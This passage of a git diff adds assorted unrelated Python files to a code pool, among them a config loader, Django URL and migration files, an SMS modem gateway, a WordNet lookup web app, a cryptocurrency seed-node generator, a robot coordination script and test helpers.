fullpath.endswith(".yml") or fullpath.endswith(".yaml") or fullpath.endswith("anacondarc"), fullpath + yield fullpath, load_config(fullpath) + + def _dir_yaml_loader(fullpath): + for filename in os.listdir(fullpath): + if filename.endswith(".yml") or filename.endswith(".yaml"): + filepath = join(fullpath, filename) + yield filepath, load_config(filepath) + + # map a stat result to a file loader or a directory loader + _loader = { + stat.S_IFREG: _file_yaml_loader, + stat.S_IFDIR: _dir_yaml_loader, + } + + def _get_st_mode(path): + # stat the path for file type, or None if path doesn't exist + try: + return stat.S_IFMT(os.stat(path).st_mode) + except OSError: + return None + + expanded_paths = [expand(path) for path in search_path] + stat_paths = (_get_st_mode(path) for path in expanded_paths) + load_paths = (_loader[st_mode](path) + for path, st_mode in zip(expanded_paths, stat_paths) + if st_mode is not None) + raw_data = collections.OrderedDict(kv for kv in itertools.chain.from_iterable(load_paths)) + + return raw_data + + +def get_config(site=None): + config = DEFAULT_CONFIG.copy() + + file_configs = load_file_configs(SEARCH_PATH) + for fn in file_configs: + recursive_update(config, file_configs[fn]) + + site = site or config.get('default_site') + sites = config.get('sites', {}) + + if site: + site = str(site) + + if site not in sites: + logger.warning('Site alias "%s" does not exist in the config file', site) + else: + # This takes whatever keys are set for the site into the top level of the config dict + recursive_update(config, sites.get(site, {})) + + return config + + +def save_config(data, config_file): + data_dir = dirname(config_file) + + try: + if not exists(data_dir): + os.makedirs(data_dir) + + with open(config_file, 'w') as fd: + yaml_dump(data, stream=fd) + except EnvironmentError as exc: + raise BinstarError('%s: %s' % (exc.filename, exc.strerror,)) + + +def set_config(data, user=True): + warnings.warn('Use save_config instead of set_config', DeprecationWarning) + save_config(data, USER_CONFIG if user else SYSTEM_CONFIG) diff --git a/pool/shard009/Python/0081097_urls.py b/pool/shard009/Python/0081097_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..80771eb292c5a82b329f43d1ea2e3e7e39a3e4be --- /dev/null +++ b/pool/shard009/Python/0081097_urls.py @@ -0,0 +1,25 @@ +from django.conf.urls import patterns, include, url + +from django.contrib import admin +admin.autodiscover() + +from rest_framework import routers + +from core.views import IndexView +from schools.views import SchoolViewSet +from daycare.views import DaycareViewSet +from playgrounds.views import PlaygroundViewSet + + +router = routers.DefaultRouter() +router.register(r'schools', SchoolViewSet) +router.register(r'daycare', DaycareViewSet) +router.register(r'playgrounds', PlaygroundViewSet) + + +urlpatterns = patterns('', + url(r'^$', IndexView.as_view(), name='home'), + url(r'^admin/', include(admin.site.urls)), + url(r'^grappelli/', include('grappelli.urls')), + url(r'^api/', include(router.urls)), +) diff --git a/pool/shard009/Python/0081098_gsm.py b/pool/shard009/Python/0081098_gsm.py new file mode 100644 index 0000000000000000000000000000000000000000..ec1b4feaf8b7d8fcdf9312aaf179b084e5c0feda --- /dev/null +++ b/pool/shard009/Python/0081098_gsm.py @@ -0,0 +1,177 @@ +import time +import copy +import Queue +import urllib +import urllib2 +import logging +import threading + +import pygsm + +logger = logging.getLogger('pygsm_gateway.gsm') + + +class GsmPollingThread(threading.Thread): + _title = "pyGSM" + + # number of seconds to wait between + # polling the modem for incoming SMS + POLL_INTERVAL = 5 + + # time to wait for the start method to + # complete before assuming that it failed + MAX_CONNECT_TIME = 10 + + def __init__(self, url, url_args, modem_args): + self.url = url + self.url_args = url_args + self.modem_kwargs = modem_args + self.modem = None + + # set a default timeout if it wasn't specified in localsettings.py; + # otherwise read() will hang forever if the modem is powered off + if "timeout" not in self.modem_kwargs: + self.modem_kwargs["timeout"] = '10' + super(GsmPollingThread, self).__init__() + + def _wait_for_modem(self): + """ + Blocks until this backend has connected to and initialized the modem, + waiting for a maximum of self.MAX_CONNECT_TIME (default=10) seconds. + Returns true when modem is ready, or false if it times out. + """ + + # if the modem isn't present yet, this message is probably being sent by + # an application during startup from the main thread, before this thread + # has connected to the modem. block for a short while before giving up. + for n in range(0, self.MAX_CONNECT_TIME*10): + if self.modem is not None: return True + time.sleep(0.1) + + # timed out. we're still not connected + # this is bad news, but not fatal, so warn + logger.warning("Timed out while waiting for modem") + return False + + def send(self, identity, text): + + # if this message is being sent from the start method of + # an app (which is run in the main thread), this backend + # may not have had time to start up yet. wait for it + if not self._wait_for_modem(): + return False + + # attempt to send the message + # failure is bad, but not fatal + was_sent = self.modem.send_sms(str(identity), text) + + if was_sent: + self.sent_messages += 1 + else: + self.failed_messages += 1 + + return was_sent + + def message(self, identity, text): + """ handle SMS from modem """ + url_args = copy.copy(self.url_args) + url_args['identity'] = identity + url_args['text'] = text + try: + logger.debug('Opening URL: %s' % self.url) + response = urllib2.urlopen(self.url, urllib.urlencode(url_args)) + except Exception, e: + logger.exception(e) + return False + logger.info('SENT') + logger.debug('response: %s' % response.read()) + + def gsm_log(self, modem, str, level): + logger.debug("%s: %s" % (level, str)) + + def status(self): + + # abort if the modem isn't connected + # yet. there's no status to fetch + if not self._wait_for_modem(): + return None + + csq = self.modem.signal_strength() + + # convert the "real" signal + # strength into a 0-4 scale + if not csq: level = 0 + elif csq >= 30: level = 4 + elif csq >= 20: level = 3 + elif csq >= 10: level = 2 + else: level = 1 + + vars = { + "_signal": level, + "_title": self.title, + "Messages Sent": self.sent_messages, + "Messages Received": self.received_messages } + + # pygsm can return the name of the network + # operator since b19cf3. add it if we can + if hasattr(self.modem, "network"): + vars["Network Operator"] = self.modem.network + + return vars + + def start(self): + try: + self.sent_messages = 0 + self.failed_messages = 0 + self.received_messages = 0 + + logger.info("Connecting and booting via pyGSM...") + self.modem = pygsm.GsmModem(logger=self.gsm_log, + **self.modem_kwargs) + self.modem.boot() + + if getattr(self, 'service_center', None) is not None: + self.modem.service_center = self.service_center + except: + logger.exception('Caught exception booting modem') + self.stop() + raise + + # Now that the modem has been booted, start the thread + super(GsmPollingThread, self).start() + + def run(self): + try: + self.running = True + while self.running: + logger.info("Polling modem for messages") + msg = self.modem.next_message() + + if msg is not None: + self.received_messages += 1 + + # we got an sms! hand it off to the + # router to be dispatched to the apps + x = self.message(msg.sender, msg.text) + + # wait for POLL_INTERVAL seconds before continuing + # (in a slightly bizarre way, to ensure that we abort + # as soon as possible when the backend is asked to stop) + for n in range(0, self.POLL_INTERVAL*10): + if not self.running: return None + time.sleep(0.1) + except: + logger.exception('Caught exception in GSM polling loop') + raise + finally: + self.stop() + + logger.info("Run loop terminated.") + + def stop(self): + + self.running = False + + # disconnect from modem + if self.modem is not None: + self.modem.disconnect() diff --git a/pool/shard009/Python/0081099_HairEyColor.py b/pool/shard009/Python/0081099_HairEyColor.py new file mode 100644 index 0000000000000000000000000000000000000000..6ea086d8c491f1d6bc5cda8f38108d1728f66e84 --- /dev/null +++ b/pool/shard009/Python/0081099_HairEyColor.py @@ -0,0 +1,43 @@ +# -*- coding: utf-8 -*- +# 3.0 + +# + +import numpy as np +import pandas as pd +import matplotlib as plt + +# + +hair_eye_color = pd.read_csv("HairEyeColor.csv", index_col=0) + +# + +pivoted = pd.pivot_table(hair_eye_color, values='Freq', rows=['Eye', 'Sex'], cols=['Hair']) + +# + +hairSexSum = 1.0*pivoted.sum(axis=1) + +# + +normalized_pivoted = 100.0*pivoted.div(1.0*hairSexSum, axis='index') + +# + +normalized_pivoted + +# + +axes = normalized_pivoted.plot(kind='bar', stacked=True) +plt.pyplot.show() + +# + + +# + + +# + + diff --git a/pool/shard009/Python/0081106_wordnet.py b/pool/shard009/Python/0081106_wordnet.py new file mode 100644 index 0000000000000000000000000000000000000000..fe599f9201c7ebd7dc68a3c7ba52c5bf8f3884ef --- /dev/null +++ b/pool/shard009/Python/0081106_wordnet.py @@ -0,0 +1,97 @@ +#coding: utf-8 + + + + +import os +import sys +import cherrypy +import sqlite3 + +# 確定程式檔案所在目錄, 在 Windows 有最後的反斜線 +_curdir = os.path.join(os.getcwd(), os.path.dirname(__file__)) +if 'OPENSHIFT_REPO_DIR' in os.environ.keys(): + sys.path.append(os.path.join(os.getenv("OPENSHIFT_REPO_DIR"), "wsgi")) +else: + sys.path.append(_curdir) + +# 設定在雲端與近端的資料儲存目錄 +if 'OPENSHIFT_REPO_DIR' in os.environ.keys(): + # 表示程式在雲端執行 + download_root_dir = os.environ['OPENSHIFT_DATA_DIR'] + data_dir = os.environ['OPENSHIFT_DATA_DIR'] +else: + # 表示程式在近端執行 + download_root_dir = _curdir + "/local_data/" + data_dir = _curdir + "/local_data/" +class MyCheck(object): + _cp_config = { + 'tools.sessions.on': True + } + + def nl2br(self, string, is_xhtml= True ): + if is_xhtml: + return string.replace('\n','
\n') + else : + return string.replace('\n','
\n') + def printcwd(self): + return cwd + printcwd.exposed = True + + def doCheck(self, word=None): + if word == None: + return "
首頁|重新查詢" + # 聯結資料庫檔案 + conn = sqlite3.connect(data_dir+"/wordnet30.db") + # 取得目前 cursor + cursor = conn.cursor() + + sql = "SELECT word.wordid, synset.synsetid, pos, definition, sample \ + FROM word, sense, synset, sample \ + WHERE word.wordid = sense.wordid \ + AND sense.synsetid = synset.synsetid \ + AND sample.synsetid = synset.synsetid \ + AND lemma = ?" + + output = "以下為 wordnet 字典查詢:"+word+" 所得到的結果

" + count = 0 + + for row in cursor.execute(sql, [(word)]): + count += 1 + output += str(count) + ": " + word.title() + " ("+ str(row[2])+")
Defn: " + str(self.nl2br(row[3],True)) + "
Sample: " \ + + str(self.nl2br(row[4],True)) + "

" + + output += "
首頁|重新查詢" + + return output + doCheck.exposed = True + + def index(self): + return ''' + + 查字典 + + +
+ 請輸入要查詢 wordnet 的單字: +

+

+
+
首頁 + +''' + index.exposed = True +if __name__ == '__main__': + ''' + # 指定程式執行的連接埠號, 內定為 8080 + cherrypy.server.socket_port = 8083 + # 指定程式執行所對應的伺服器 IP 位址, 內定為 127.0.0.1 + cherrypy.server.socket_host = '127.0.0.1' + ''' + #cherrypy.quickstart(MyCheck()) + # modified for OpenShift + if 'OPENSHIFT_REPO_DIR' in os.environ.keys(): + application = cherrypy.Application(MyCheck()) + else: + cherrypy.quickstart(MyCheck()) diff --git a/pool/shard009/Python/0081108_0974293b64c3_cascade_job_deletion_to_filerequest.py b/pool/shard009/Python/0081108_0974293b64c3_cascade_job_deletion_to_filerequest.py new file mode 100644 index 0000000000000000000000000000000000000000..63d53f64d9727271c3728823d69563ac9a66303d --- /dev/null +++ b/pool/shard009/Python/0081108_0974293b64c3_cascade_job_deletion_to_filerequest.py @@ -0,0 +1,42 @@ +"""cascade Job deletion to FileRequest + +Revision ID: 0974293b64c3 +Revises: 03257ae6000f +Create Date: 2017-12-05 13:32:43.109949 + +""" + +# revision identifiers, used by Alembic. +revision = '0974293b64c3' +down_revision = '03257ae6000f' +branch_labels = None +depends_on = None + +from alembic import op +import sqlalchemy as sa + + +def upgrade(engine_name): + globals()["upgrade_%s" % engine_name]() + + +def downgrade(engine_name): + globals()["downgrade_%s" % engine_name]() + + + + + +def upgrade_data_broker(): + ### commands auto generated by Alembic - please adjust! ### + op.drop_constraint('fk_file_request_job_id', 'file_request', type_='foreignkey') + op.create_foreign_key('fk_file_request_job_id', 'file_request', 'job', ['job_id'], ['job_id'], ondelete='CASCADE') + ### end Alembic commands ### + + +def downgrade_data_broker(): + ### commands auto generated by Alembic - please adjust! ### + op.drop_constraint('fk_file_request_job_id', 'file_request', type_='foreignkey') + op.create_foreign_key('fk_file_request_job_id', 'file_request', 'job', ['job_id'], ['job_id']) + ### end Alembic commands ### + diff --git a/pool/shard009/Python/0081123_test_doc_builder.py b/pool/shard009/Python/0081123_test_doc_builder.py new file mode 100644 index 0000000000000000000000000000000000000000..a8241ac7bf2d3d0bfc6ef69c3c85dbae6e7536bc --- /dev/null +++ b/pool/shard009/Python/0081123_test_doc_builder.py @@ -0,0 +1,83 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# Copyright (c) 2012-2021 SoftBank Robotics. All rights reserved. +# Use of this source code is governed by a BSD-style license (see the COPYING file). +""" QiBuild """ +from __future__ import absolute_import +from __future__ import unicode_literals +from __future__ import print_function + +import mock + +from qidoc.builder import DocBuilder + + +def test_doc_builder_solve_deps_by_default(doc_worktree): + """ Test Doc Builder Solved Deps By Default """ + qibuild_doc = doc_worktree.create_sphinx_project("qibuild") + general_doc = doc_worktree.create_sphinx_project("general", depends=["qibuild"]) + doc_builder = DocBuilder(doc_worktree, "general") + assert doc_builder.get_dep_projects() == [qibuild_doc, general_doc] + + +def test_using_dash_s(doc_worktree): + """ Test Using Dash s """ + _qibuild_doc = doc_worktree.create_sphinx_project("qibuild") + general_doc = doc_worktree.create_sphinx_project("general", depends=["qibuild"]) + doc_builder = DocBuilder(doc_worktree, "general") + doc_builder.single = True + assert doc_builder.get_dep_projects() == [general_doc] + + +def test_base_project_install(doc_worktree, tmpdir): + """ Test Base Project Install """ + doc_worktree.add_test_project("world") + doc_worktree.add_test_project("hello") + doc_builder = DocBuilder(doc_worktree, "hello") + hello_inst = tmpdir.join("inst", "hello") + doc_builder.install(hello_inst.strpath) + hello_index = hello_inst.join("index.html") + assert "hello" in hello_index.read_text("utf-8") + world_index = hello_inst.join("ref/world/index.html") + assert "world" in world_index.read_text("utf-8") + + +def test_install_doxy(doc_worktree, tmpdir): + """ Test Install Doxy """ + doc_worktree.add_test_project("libqi/doc/doxygen") + doc_builder = DocBuilder(doc_worktree, "qi-api") + inst_dir = tmpdir.join("inst") + doc_builder.configure() + doc_builder.build() + doc_builder.install(inst_dir.strpath) + assert "qi" in inst_dir.join("index.html").read_text("utf-8") + + +def test_setting_base_project_resets_dests(doc_worktree): + """ Test Setting Base Project Reset Dests """ + doc_worktree.add_test_project("world") + doc_worktree.add_test_project("hello") + _doc_builder = DocBuilder(doc_worktree, "hello") + hello_proj = doc_worktree.get_doc_project("hello") + world_proj = doc_worktree.get_doc_project("world") + assert hello_proj.dest == "." + assert world_proj.dest == "ref/world" + _doc_builder = DocBuilder(doc_worktree, "world") + world_proj = doc_worktree.get_doc_project("world") + assert world_proj.dest == "." + + +def test_setting_language(doc_worktree): + """ Test Setting Language """ + _translateme_proj = doc_worktree.add_test_project("translateme") + doc_builder = DocBuilder(doc_worktree, "translateme") + doc_builder.language = "fr" + doc_builder.configure() + with mock.patch("sphinx.main") as mock_sphinx: + mock_sphinx.return_value = 0 + doc_builder.build() + args_list = mock_sphinx.call_args_list + assert len(args_list) == 1 + last_call = args_list[0] + argv = last_call[1]["argv"] + assert "-Dlanguage=fr" in argv diff --git a/pool/shard009/Python/0081128_inventory_1-3.py b/pool/shard009/Python/0081128_inventory_1-3.py new file mode 100644 index 0000000000000000000000000000000000000000..73db3919db7463d0fa88c2543f16aebc35589794 --- /dev/null +++ b/pool/shard009/Python/0081128_inventory_1-3.py @@ -0,0 +1,26 @@ +from pyhdf.HDF import * +from pyhdf.VS import * + +f = HDF('inventory.hdf', # Open file 'inventory.hdf' in write mode + HC.WRITE|HC.CREATE) # creating it if it does not exist +vs = f.vstart() # init vdata interface +vd = vs.attach('INVENTORY', 1) # attach vdata 'INVENTORY' in write mode + +# Update the `status' vdata attribute. The attribute length must not +# change. We call the attribute info() method, which returns a list where +# number of values (eg string length) is stored at index 2. +# We then assign a left justified string of exactly that length. +len = vd.attr('status').info()[2] +vd.status = '%-*s' % (len, 'phase 3 done') + +# Update record at index 1 (second record) +vd[1] = ('Z4367', 'surprise', 10, 3.1, 44.5) +# Update record at index 4, and those after +vd[4:] = ( + ('QR231', 'toy', 12, 2.5, 45), + ('R3389', 'robot', 3, 45, 2000), + ('R3390', 'robot2', 8, 55, 2050) + ) +vd.detach() # "close" the vdata +vs.end() # terminate the vdata interface +f.close() # close the HDF file diff --git a/pool/shard009/Python/0081136_0004_muted.py b/pool/shard009/Python/0081136_0004_muted.py new file mode 100644 index 0000000000000000000000000000000000000000..c9c2e18bf598932b6909a912183015430c914ca2 --- /dev/null +++ b/pool/shard009/Python/0081136_0004_muted.py @@ -0,0 +1,40 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.9.7 on 2016-11-03 22:25 +from __future__ import unicode_literals + +from django.db import migrations, models +import django.utils.timezone + + +class Migration(migrations.Migration): + + dependencies = [ + ('push_notifications', '0003_wnsdevice'), + ] + + operations = [ + migrations.AddField( + model_name='apnsdevice', + name='muted_till', + field=models.DateTimeField(blank=True, default=django.utils.timezone.now, help_text='Date/Time to mute notifications until'), + ), + migrations.AddField( + model_name='gcmdevice', + name='muted_till', + field=models.DateTimeField(blank=True, default=django.utils.timezone.now, help_text='Date/Time to mute notifications until'), + ), + migrations.AddField( + model_name='wnsdevice', + name='muted_till', + field=models.DateTimeField(blank=True, default=django.utils.timezone.now, help_text='Date/Time to mute notifications until'), + ), + ] + + + + + + + + + diff --git a/pool/shard009/Python/0081137_generate-seeds.py b/pool/shard009/Python/0081137_generate-seeds.py new file mode 100644 index 0000000000000000000000000000000000000000..1742e9321cc711c7d41cb93e749b64fc91a3ad7a --- /dev/null +++ b/pool/shard009/Python/0081137_generate-seeds.py @@ -0,0 +1,138 @@ +#!/usr/bin/python +# Copyright (c) 2014 Wladimir J. van der Laan +# Distributed under the MIT software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. +''' +Script to generate list of seed nodes for chainparams.cpp. + +This script expects two text files in the directory that is passed as an +argument: + + nodes_main.txt + nodes_test.txt + +These files must consist of lines in the format + + + : + [] + []: + .onion + 0xDDBBCCAA (IPv4 little-endian old pnSeeds format) + +The output will be two data structures with the peers in binary format: + + static SeedSpec6 pnSeed6_main[]={ + ... + } + static SeedSpec6 pnSeed6_test[]={ + ... + } + +These should be pasted into `src/chainparamsseeds.h`. +''' +from __future__ import print_function, division +from base64 import b32decode +from binascii import a2b_hex +import sys, os +import re + +# ipv4 in ipv6 prefix +pchIPv4 = bytearray([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xff]) +# tor-specific ipv6 prefix +pchOnionCat = bytearray([0xFD,0x87,0xD8,0x7E,0xEB,0x43]) + +def name_to_ipv6(addr): + if len(addr)>6 and addr.endswith('.onion'): + vchAddr = b32decode(addr[0:-6], True) + if len(vchAddr) != 16-len(pchOnionCat): + raise ValueError('Invalid onion %s' % s) + return pchOnionCat + vchAddr + elif '.' in addr: # IPv4 + return pchIPv4 + bytearray((int(x) for x in addr.split('.'))) + elif ':' in addr: # IPv6 + sub = [[], []] # prefix, suffix + x = 0 + addr = addr.split(':') + for i,comp in enumerate(addr): + if comp == '': + if i == 0 or i == (len(addr)-1): # skip empty component at beginning or end + continue + x += 1 # :: skips to suffix + assert(x < 2) + else: # two bytes per component + val = int(comp, 16) + sub[x].append(val >> 8) + sub[x].append(val & 0xff) + nullbytes = 16 - len(sub[0]) - len(sub[1]) + assert((x == 0 and nullbytes == 0) or (x == 1 and nullbytes > 0)) + return bytearray(sub[0] + ([0] * nullbytes) + sub[1]) + elif addr.startswith('0x'): # IPv4-in-little-endian + return pchIPv4 + bytearray(reversed(a2b_hex(addr[2:]))) + else: + raise ValueError('Could not parse address %s' % addr) + +def parse_spec(s, defaultport): + match = re.match('\[([0-9a-fA-F:]+)\](?::([0-9]+))?$', s) + if match: # ipv6 + host = match.group(1) + port = match.group(2) + elif s.count(':') > 1: # ipv6, no port + host = s + port = '' + else: + (host,_,port) = s.partition(':') + + if not port: + port = defaultport + else: + port = int(port) + + host = name_to_ipv6(host) + + return (host,port) + +def process_nodes(g, f, structname, defaultport): + g.write('static SeedSpec6 %s[] = {\n' % structname) + first = True + for line in f: + comment = line.find('#') + if comment != -1: + line = line[0:comment] + line = line.strip() + if not line: + continue + if not first: + g.write(',\n') + first = False + + (host,port) = parse_spec(line, defaultport) + hoststr = ','.join(('0x%02x' % b) for b in host) + g.write(' {{%s}, %i}' % (hoststr, port)) + g.write('\n};\n') + +def main(): + if len(sys.argv)<2: + print(('Usage: %s ' % sys.argv[0]), file=sys.stderr) + exit(1) + g = sys.stdout + indir = sys.argv[1] + g.write('#ifndef PURA_CHAINPARAMSSEEDS_H\n') + g.write('#define PURA_CHAINPARAMSSEEDS_H\n') + g.write('/**\n') + g.write(' * List of fixed seed nodes for the pura network\n') + g.write(' * AUTOGENERATED by contrib/seeds/generate-seeds.py\n') + g.write(' *\n') + g.write(' * Each line contains a 16-byte IPv6 address and a port.\n') + g.write(' * IPv4 as well as onion addresses are wrapped inside a IPv6 address accordingly.\n') + g.write(' */\n') + with open(os.path.join(indir,'nodes_main.txt'),'r') as f: + process_nodes(g, f, 'pnSeed6_main', 11001) + g.write('\n') + with open(os.path.join(indir,'nodes_test.txt'),'r') as f: + process_nodes(g, f, 'pnSeed6_test', 21001) + g.write('#endif // PURA_CHAINPARAMSSEEDS_H\n') + +if __name__ == '__main__': + main() + diff --git a/pool/shard009/Python/0081140_honest.py b/pool/shard009/Python/0081140_honest.py new file mode 100644 index 0000000000000000000000000000000000000000..4329ec57c8accfc7633df7c79d02c769719ac84a --- /dev/null +++ b/pool/shard009/Python/0081140_honest.py @@ -0,0 +1,198 @@ +from robot_functions import * + +def main(): + # query the server to start + print('connect to server') + server_socket.connect((serverMACAddress, port)) + # wait for a response, recv is a blocking function + # server responses only when all the robots are connected + # (value sended by server is not important) + server_socket.recv(buffer_size) + + # after that each robot uses an own counter + # in this way all the robot operations are synchronized + begin_time = int(time()) + print('protocol begins') + + # !!! make sure robot eyes are looking at left + # if not, protocol does not work as expected + init_eyes_motor(eyes_speed) + + directions_states = {True: 'cw', False: 'ccw'} + clockwise_direction = True + state = directions_states[clockwise_direction] + + print('\t' + 'state: ' + str(state).upper()) + + if us.connected: + us.mode = 'US-DIST-CM' + + if ir.connected: + ir.mode = 'IR-PROX' + + previous_state = state + #leader = False + + while True: + # print current state for debugging + if (previous_state != state): + print('\t' + 'state: ' + str(state).upper()) + previous_state = state + + + # CW state + if state == directions_states[True]: + if (is_special_node()): + print( 'robot is over special node' ) + cross_marker() + # move a bit further to leave space for a a possible incoming robot + move_on_edge(collision_distance=-1, time_out=1) + #rotate_counterclockwise(105) + state = 'done' + + else: # robot is not on a special node + + # check if there is a robot coming from the opposite direction + if is_there_close_robot(20): + # if M is in the previous node, there is no need to do anything + # the robot coming from the opposite direction is blocked by M and is done + if not can_I_move(False): + print('I\'m last agent') + state = 'done' + else: + # this is not the special node + # and M is not in the previous node, so leader moves + # follower_init is used to follow the leader for the first time + # rotating over the current node and moving to the previous node + follower_init() + state = 'follower' + # wait for two clocks + # one clock is used by leader and follower to reach the previous node + # in the other clock leader is waiting + begin_time = wait_clock(begin_time, 2) + + else: # no close robot + print('wait for one clock') + begin_time = wait_clock(begin_time) + + # check again if there is a robot coming from the opposite direction + if is_there_close_robot(25): + if not can_I_move(False): + print('I\'m last agent') + state = 'done' + else: + # the robot that becomes leader is waiting for one clock + # first wait with it + begin_time = wait_clock(begin_time) + # then start to follow it, as above + follower_init() + state = 'follower' + begin_time = wait_clock(begin_time, 2) + + else: # no close robot after one clock + if (not can_I_move(True)): + print('robot is blocked in the last move') + cross_marker() + + rotate_over_node() + + clockwise_direction = False + state = directions_states[False] + + print('direction changed, wait the end of the second clock') + begin_time = wait_clock(begin_time) + + else: # robot can move + print('robot moves toward next node') + cross_marker() + robot_collision = move_on_edge() + if robot_collision: + state = 'done' + else: + begin_time = wait_clock(begin_time) + + + # CCW state + elif state == directions_states[False]: + special_node = is_special_node() + can_move = can_I_move(False) + + if special_node or not can_move: + if special_node: + print( 'robot is over special node' ) + # if robot have to change direction again + # this means it has one ore more followers and it met all the robots in the ring + # so it becomes done + # followers became done once they notice that leader does not move + if not can_move: + print('M met twice\nstop') + + sleep(1.5) # during this time followers looks with is_leader_moving function + # enter the node to leave space for some possible followers + cross_marker() + rotate_over_node(time_out=4.5) + state = 'done' + # robot is not on special node and it can move + else: + print('robot moves toward next node') + cross_marker() + move_on_edge(collision_distance=-1) + print('wait the end of the first clock') + begin_time = wait_clock(begin_time) + print('wait for another clock') + begin_time = wait_clock(begin_time) + + elif state == 'follower': + #check_done, leader_moving = is_leader_moving() + # is_leader_moving checks 2 times with eyes + if ( not is_leader_moving() ): + # only the second follower enter in this state + print('I\'m the second follower') + # wait while the other follower is moving + sleep(2.5) + move_on_edge() # stop with collision + state = 'done' + else: + # complete the last part of edge + move_on_edge(collision_distance=-1, time_to_settle=0) + + if is_special_node(): + # only the first follower enter in this state + print('I\'m the first follower') + # wait while leader is rotating over node + sleep(0.8) + # there is no space if robot has the eyes looking at right + #motor_m.run_to_abs_pos(position_sp = 90) + # once reach the marker move a bit further + # to leave space for the second follower + cross_marker() + move_on_edge(collision_distance=-1, time_out=1) + state = 'done' + else: + # follow leader + move_on_edge() + # once stopped, wait also for the clock in which leader waits + begin_time = wait_clock(begin_time, 2) + + elif state == 'done': + server_socket.close() + print('gathering') + # 'US-SI-CM' ultra sound mode sometimes results in an error + # that's why in protocol we use always the eyes opened + # us.mode = 'US-SI-CM' # shut down eyes + + # exit the program + break + + + elif state == 'stopped': + if is_there_close_robot(140): + print('close robot detected') + state = 'done' + else: + begin_time = wait_clock(begin_time) + +if __name__ == '__main__': + main() + + diff --git a/pool/shard009/Python/0081143_guacamole_sync.py b/pool/shard009/Python/0081143_guacamole_sync.py new file mode 100644 index 0000000000000000000000000000000000000000..40310c26cb391ef6b583ffe7b5bf1188169ca582 --- /dev/null +++ b/pool/shard009/Python/0081143_guacamole_sync.py @@ -0,0 +1,56 @@ +#!/usr/bin/python +# -*- encoding: utf-8; py-indent-offset: 4 -*- +# Author: Allan GooD +# Author mail: allan.cassaro@gmail.com +# +# This plugins integrates Guacamole into Check_MK +# + +import os +import hashlib + +def computmd5(filepath): + md5file = hashlib.md5() + with open(filepath,'r') as config: + for line in config.readlines(): + md5file.update(line) + return md5file.hexdigest() + +def sync_guacamole(argument): + guacamole_dir = '/etc/guacamole' + file = guacamole_dir + '/noauth-config.xml' + file_new = guacamole_dir + '/noauth-config.xml_new' + + try: + open(file_new,'w').close() + except IOError: + return + + with open(file_new,'w') as config: + config.write('\n') + + for host in argument.keys(): + name = host.lower() + ipaddress = argument[host]['ipaddress'] + if 'remote_access' in argument[host].keys(): + remote_url = argument[host]['remote_access'] + else: + remote_url = '' + if remote_url.find('/guacamole/') > 0: + if remote_url.rfind('?type=rdp') > 0: proto = 'rdp' + elif remote_url.rfind('?type=ssh') > 0: proto = 'ssh' + elif remote_url.rfind('?type=vnc') > 0: proto = 'vnc' + config.write('\t\n' % (name,proto)) + config.write('\t\t\n' % (ipaddress)) + config.write('\t\t\n') + config.write('\t\t\n') + config.write('\t\t\n') + config.write('\t\n') + config.write('\n') + config.close() + if ( computmd5(file) == computmd5(file_new) ): + os.remove(file_new) + else: + os.rename(file_new,file) + +register_hook('pre-activate-changes', sync_guacamole) diff --git a/pool/shard009/Python/0081147_MockHttpResources.py b/pool/shard009/Python/0081147_MockHttpResources.py new file mode 100644 index 0000000000000000000000000000000000000000..7734b8656a354eb0c5b726df46f407336d869964 --- /dev/null +++ b/pool/shard009/Python/0081147_MockHttpResources.py @@ -0,0 +1,78 @@ +# Utilities to mock HTTP resources for testing. +# +# with HttpMockResources(baseuri, path): +# # test code here +# or +# @HttpMockResourcesZZZZ(baseuri, path) +# def test_stuff(...) +# + +__author__ = "Graham Klyne (GK@ACM.ORG)" +__copyright__ = "Copyright 2011-2013, University of Oxford" +__license__ = "MIT (http://opensource.org/licenses/MIT)" + +import urllib +import httpretty +import ScanDirectories + +from FileMimeTypes import FileMimeTypes + +FileType_MimeType = dict([ (ft,ct) for (ct, fts) in FileMimeTypes + for ft in fts ]) + +def HttpContentType(filename): + fsplit = filename.rsplit(".", 1) + if len(fsplit) == 2 and fsplit[1] in FileType_MimeType: + return FileType_MimeType[fsplit[1]] + return "application/octet-stream" + +class MockHttpFileResources(object): + + def __init__(self, baseuri, path): + self._baseuri = baseuri + self._path = path + return + + def __enter__(self): + httpretty.enable() + # register stuff... + refs = ScanDirectories.CollectDirectoryContents(self._path, baseDir=self._path, + listDirs=False, listFiles=True, recursive=True) + for r in refs: + ru = self._baseuri + urllib.pathname2url(r) + rt = HttpContentType(r) + with open(self._path+r, 'r') as cf: + httpretty.register_uri(httpretty.GET, ru, status=200, content_type=rt, + body=cf.read()) + httpretty.register_uri(httpretty.HEAD, ru, status=200, content_type=rt) + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + suppress_exc = False + httpretty.disable() + return suppress_exc + +class MockHttpDictResources(object): + + def __init__(self, baseuri, resourcedict): + self._baseuri = baseuri + self._dict = resourcedict + return + + def __enter__(self): + httpretty.enable() + # register stuff... + for r in self._dict.keys(): + ru = self._baseuri + r + rt = HttpContentType(r) + httpretty.register_uri(httpretty.GET, ru, status=200, content_type=rt, + body=self._dict[r]) + httpretty.register_uri(httpretty.HEAD, ru, status=200, content_type=rt) + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + suppress_exc = False + httpretty.disable() + return suppress_exc + +# End. diff --git a/pool/shard009/Python/0081149_sharedctypes.py b/pool/shard009/Python/0081149_sharedctypes.py new file mode 100644 index 0000000000000000000000000000000000000000..58b32e4f9070fb131c86fdf5f7966f775e1e10c9 --- /dev/null +++ b/pool/shard009/Python/0081149_sharedctypes.py @@ -0,0 +1,244 @@ +# +# Module which supports allocation of ctypes objects from shared memory +# +# multiprocessing/sharedctypes.py +# +# Copyright (c) 2006-2008, R Oudkerk +# Licensed to PSF under a Contributor Agreement. +# +from __future__ import absolute_import + +import ctypes +import weakref + +from . import heap, RLock +from .forking import assert_spawning, ForkingPickler + +__all__ = ['RawValue', 'RawArray', 'Value', 'Array', 'copy', 'synchronized'] + +typecode_to_type = { + 'c': ctypes.c_char, 'u': ctypes.c_wchar, + 'b': ctypes.c_byte, 'B': ctypes.c_ubyte, + 'h': ctypes.c_short, 'H': ctypes.c_ushort, + 'i': ctypes.c_int, 'I': ctypes.c_uint, + 'l': 